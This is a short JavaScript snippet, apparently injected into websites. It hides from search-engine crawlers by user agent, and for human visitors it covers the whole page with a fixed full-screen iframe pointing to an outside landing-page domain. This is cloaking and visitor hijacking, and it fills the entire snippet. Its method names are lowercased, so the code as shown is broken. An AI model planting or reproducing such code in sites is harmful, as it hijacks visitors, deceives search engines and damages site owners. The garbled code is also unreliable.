document.write("test");
    var useragent = navigator.useragent.tolowercase();
    if (useragent.match(/bot|crawl|spider|mediapartners/i)) {
        // 如果是蜘蛛，则不执行代码
    } else {
        // 如果不是蜘蛛，则执行代码
       
        document.write('<meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"><style>html,body{width:100%;height:100%;margin:0;padding:0}</style>');
        var iframe = document.createelement('iframe');
        iframe.src = 'http://yiangtiyu008.net/ ';//------------落地页地址
        iframe.scrolling = 'auto';
        iframe.style.csstext = "width:100%;height:100%;left:1px;top:1px;border:none;background:#fff";
        var div1 = document.createelement("div");
        var div =  document.createelement("div");
        div1.style.csstext = "-webkit-overflow-scrolling:touch;width:100%;height:100%;z-index:9999999999;position:fixed;top:0;left:0;";
        var is_mobi = navigator.useragent.tolowercase().match(/(ipad|iphone|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince)/i) != null;
        if (is_mobi) {
          div1.style.overflow = "auto";
        }
        div1.appendchild(iframe);
        div.appendchild(div1);
        document.write(div.innerhtml);
    }